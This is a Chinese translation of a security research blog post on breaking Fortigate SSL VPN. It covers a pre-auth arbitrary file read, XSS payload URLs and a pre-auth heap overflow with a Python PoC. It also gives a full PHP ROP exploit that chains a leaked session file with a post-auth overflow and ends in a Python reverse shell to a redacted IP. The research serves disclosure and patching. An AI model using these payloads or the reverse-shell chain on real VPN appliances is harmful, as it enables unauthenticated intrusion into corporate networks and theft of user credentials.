本文是翻译文章,原作者Meh Chang和Orange
原文地址:https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
作者:Meh Chang
(@mehqq_
)和Orange Tsai
(@ orange_8361
)
上个月,我们谈到了Palo Alto Networks GlobalProtect RCE
作为开胃菜。今天,这里有主菜!如果你不能去Black Hat或DEFCON参加我们的演讲,或者你对更多细节感兴趣,这里有适合你的幻灯片!
我们也将在以下会议上发表演讲,来找我们吧!
故事始于去年8月,当时我们开始了一个关于SSL VPN的新研究项目。与点到点VPN(如IPSEC和PPTP)相比,SSL VPN更易于使用,并且可与任何网络环境兼容。因其便捷性,SSL VPN成为企业最流行的远程访问方式!
但是,如果这个可靠的设备不安全怎么办?SSL VPN是一项重要的企业资产,但却是公司的盲点。根据我们对世界500强的调查,前三大SSL VPN厂商占据了约75%的市场份额。因此SSL VPN的多样性很窄,一旦我们在主流的SSL VPN上发现高危漏洞,其影响就会很大。由于SSL VPN必须暴露在互联网环境中,因而没有什么能阻止我们的攻击。
在我们的研究开始时,我们对主流的SSL VPN供应商的CVE数量进行了一些调查:
看起来Fortinet和Pulse Secure是最安全的。真的吗?作为一个神话破坏者,我们接受了这一挑战并开始攻击Fortinet和Pulse Secure!这个故事是关于攻击Fortigate SSL VPN的。下一篇文章将是关于Pulse Secure的,那将是最精彩的!敬请关注!
Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在终端用户和中型企业中很常见。互联网上有超过480,000台服务器,亚洲和欧洲尤为常见。我们可以通过URL识别它/remote/login
。这是Fortigate的技术特征:
一体化二进制文件
我们从文件系统开始研究。我们试图列出/bin/
目录下的二进制文件,发现它们全都是指向/bin/init
的符号链接。就像这样:
Fortigate将所有程序和配置编译成单个二进制文件,这使得init
文件相当大。init
文件包含数千个功能并且没有符号!它只包含SSL VPN的必要程序,这样的环境对黑客而言非常不方便。例如,里面甚至没有/bin/ls
或/bin/cat
!
Web守护程序
Fortigate上运行了2个Web界面。一个用于管理界面,在443端口上,由/bin/httpsd
程序处理。另一个是普通用户界面,默认在4433端口上,由/bin/sslvpnd
程序处理。通常,管理页面限制从互联网上访问,因此我们只能访问用户界面。
通过我们的调查,我们发现Web服务器是根据2002年的apache修改而来的。显然,他们在2002年修改了apache并添加了自己的附加功能。我们可以对照apache的源代码以加速我们的分析。
在这两个Web服务中,他们还将自己的apache模块编译成二进制文件来处理每个URL路径。我们可以找到一个路由表并深入研究它们!
WebVPN
WebVPN是一个方便的代理,它允许我们通过浏览器连接到所有服务。它支持许多协议,如HTTP,FTP,RDP。它还可以处理各种Web资源,例如WebSocket和Flash。为正确处理网站,它会解析HTML并为我们重写所有的URLs。这涉及繁重的字符串操作,且容易产生内存错误。
我们发现了几个漏洞:
在获取相应的语言文件时,它使用lang
参数构建json文件路径:
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
这里没有保护,但会自动附加文件扩展名。看起来我们只能读取json文件。但实际上我们可以滥用snprintf
这个功能。根据手册,它最多将size-1写入到输出字符串。因此,我们只需要使其超过缓冲区大小,.json
并将会被挤掉。然后我们就可以读任意文件。
以下是几个XSS点:
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;
在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度,然后将其编码到缓冲区。在计算阶段,例如,<
字符编码为 <
,占用5个字节。如果遇到任何以&#
开头的字符,例如<
,服务器会认为这个token已经被编码了,并直接计算其长度。像这样:
c = token[idx]; if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>') cnt += 5; else if(c == '&' && html[idx+1] == '#') cnt += len(strchr(html[idx], ';')-idx);
然而,长度计算和编码过程之间将存在不一致,编码部分无法处理这种情况。
switch (c) { case '<': memcpy(buf[counter], "<", 5); counter += 4; break; case '>': // ... default: buf[counter] = c; break; counter++; }
如果我们输入恶意字符串如&#<<<;
,<
仍将编码成<
,所以编码结果应该是&#<<<;
!这比预期的6个字节长得多,从而导致堆溢出。
PoC:
import requests data = { 'title': 'x', 'msg': '&#' + '<'*(0x20000) + ';<', } r = requests.post('https://sslvpn:4433/message', data=data)
在登录页面中,我们找到了一个的特殊参数magic
。一旦这个参数为某个特殊字符串,我们就可以修改任何用户的密码。
根据我们的调查,仍有大量的Fortigate SSL VPN缺少补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经复现了这个漏洞。毫无疑问,其他攻击者很快就会利用此漏洞!请尽快更新您的Fortigate!
Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4
— Code White GmbH (@codewhitesec) 2019年7月2日
这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:
memcpy(buffer, js_buf, js_buf_len);
缓冲区大小固定为0x2000
,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。
为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。
官方最初描述这没有RCE危害。实际上,这是一个误解。我们将向您展示如何在没有身份验证的情况下攻击用户登录界面。
我们的首先尝试利用pre-auth堆溢出漏洞。但是,此漏洞存在一个根本缺陷 - 它不能溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术应该能够克服这个问题。然而,我们在Fortigate上做堆风水简直是一场灾难。有以下几个障碍,使得堆不稳定,难以控制。
单线程,单进程,单个分配器
Web守护进程利用epoll()
处理多个连接,没有多进程或多线程,主进程和库使用相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,这个堆一团乱。
定期触发操作
这会干扰堆,并且无法控制。我们无法精确地布置堆,因为它会被销毁。
Apache额外的内存管理
直到连接结束内存才会被free()
。我们无法在一个连接中布置堆。实际上,这可以有效地缓解堆漏洞,尤其是对于use-after-free漏洞。
JeMalloc
JeMalloc隔离了元数据和用户数据,因此很难修改元数据进行堆管理。此外,它集中了小对象,这也限制了我们的利用。
我们被困在了这里,因此我们选择尝试另一种方式。如果有人成功利用了这一点,恳请教我们!
这是pre-auth文件读取和post-auth堆溢出的组合漏洞。一个用于获取身份验证,一个用于获取shell。
获得身份验证
我们首先使用CVE-2018-13379来泄漏session文件。session文件包含一些有价值的信息,例如用户名和明文密码,这可以让我们轻松登录。
获取shell
登录后,我们通过SSL VPN代理访问我们恶意HTTP服务器上的exploit,然后触发堆溢出。
由于上面提到的问题,我们需要一个理想的目标来溢出。我们无法精确的控制堆,但我们可以找到一些经常出现的东西!它最好是很常见的,每次我们触发这个bug,我们都可以轻松地溢出它!然而,从这个庞大的程序中找到这样一个目标是一项艰苦的工作,所以我们陷入困境......之后我们开始fuzz这个服务,试图获得一些有用的东西。
我们遇到了一个有趣的崩溃点。令我们惊讶的是,我们几乎控制了程序计数器!
这是崩溃点,这就是我们为什么喜欢模糊测试!;)
Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax) (gdb)
崩溃点发生在SSL_do_handshake()
int SSL_do_handshake(SSL *s) { // ... s->method->ssl_renegotiate_check(s, 0); if (SSL_in_init(s) || SSL_in_before(s)) { if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) { struct ssl_async_args args; args.s = s; ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern); } else { ret = s->handshake_func(s); } } return ret; }
我们覆盖了struct SSL
函数表,所以当程序运行到s->method->ssl_renegotiate_check(s, 0);
,它就崩溃了。
这实际上是我们理想的利用目标!我们可以很容易的触发struct SSL
分配,并且大小接近我们的JaveScript缓冲区,因此在我们的缓冲区附近有一个常规偏移量!根据代码,我们可以看到ret = s->handshake_func(s);
调用一个函数指针,这是控制程序流的完美选择。根据这一发现,我们的利用方法就很清晰了。
首先我们正常请求大量的SSL结构来进行堆喷射,然后再溢出SSL结构。
这里我们将php PoC放在HTTP服务器上:
<?php function p64($address) { $low = $address & 0xffffffff; $high = $address >> 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> <a href="javascript:void(0);<?=$p;?>">xxx</a>
这个PoC分为三个部分。
1.伪造的SSL结构
SSL结构在我们的缓冲区有一个常规的偏移量,因此我们可以精确地伪造它。为了避免崩溃,我们设置method
为包含void函数指针的位置。此时的参数是SSL结构本身s
。但是,method
前面只有8个字节长度。我们不能简单地在HTTP服务器中调用system("/bin/sh");
,这里没有足够的空间来写反弹shell指令。由于这二进制文件非常巨大,很容易找到ROP gadgets。我们找到一个有用栈迁移gadget:
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
所以我们设置handshake_func
为这个gadget,将rsp
移动到我们的SSL结构,然后做进一步ROP攻击。
2.ROP链
这里的ROP链很简单。我们略微向前移动rdi
,将有足够的空间执行反弹shell命令。
3.溢出字符串
最后,我们拼接溢出填充和exploit。一旦我们溢出SSL结构,我们就会得到一个shell。
我们的漏洞需要多次尝试,因为我们可能会溢出一些重要的东西并使程序在SSL_do_handshake
之前崩溃。无论如何,由于Fortigate看门狗的存在,该漏洞仍然可以稳定利用。只需1~2分钟即可获得反弹shell。
升级到FortiOS 5.4.11,5.6.9,6.0.5,6.2.0或以上版本。